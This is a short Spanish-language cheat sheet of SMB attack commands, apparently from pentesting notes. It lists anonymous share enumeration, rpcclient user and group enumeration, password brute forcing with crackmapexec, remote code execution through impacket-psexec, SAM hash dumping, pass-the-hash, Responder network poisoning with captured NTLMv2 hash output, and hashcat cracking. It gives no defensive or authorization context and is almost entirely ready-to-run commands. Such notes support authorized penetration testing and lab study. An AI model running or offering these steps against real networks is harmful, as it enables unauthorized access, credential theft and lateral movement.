Sesiones Anónimas terminal Copy
$ smbclient -N -L //<IP>Para listar recursivamente
terminal Copy
$ smbclient -N -L -r //<IP>Para descargar o subir archivos
terminal Copy
$ smbmap -H <IP> --download "<ruta>"$ smbmap -H <IP> --upload "<archivo>" "<ruta>"RpcClient terminal Copy
rpcclient -U '%' <IP> rpcclient $> enumdomusers rpcclient $> queryuser <RID> rpcclient $> enumdomgroups rpcclient $> netshareenum rpcclient $> getdompwinfo Enum4Linux terminal Copy
$ ./enum4linux-ng.py <IP> -A -CFuerza Bruta Recomendable usar el módulo de metasploit smb/login. También usar crackmapexec (si hay !$ o algun simbolo en la lista de pass hay que escapar estos caracteres)
terminal Copy
$ crackmapexec smb <IP> -u userlist.txt -p 'password123'Ataques Avanzados (RCE) PSExec terminal Copy
impacket-psexec administrator:'Password123!'@10.10.110.17 Crackmapexec terminal Copy
$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FEResponder Envenena la red y captura hashes
terminal Copy
responder -I <interface> txt Copy
[SMB] NTLMv2-SSP Username: WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash: demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:010100...Y no podriamos hacer PtH pero podemos crackearlos
terminal Copy
$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt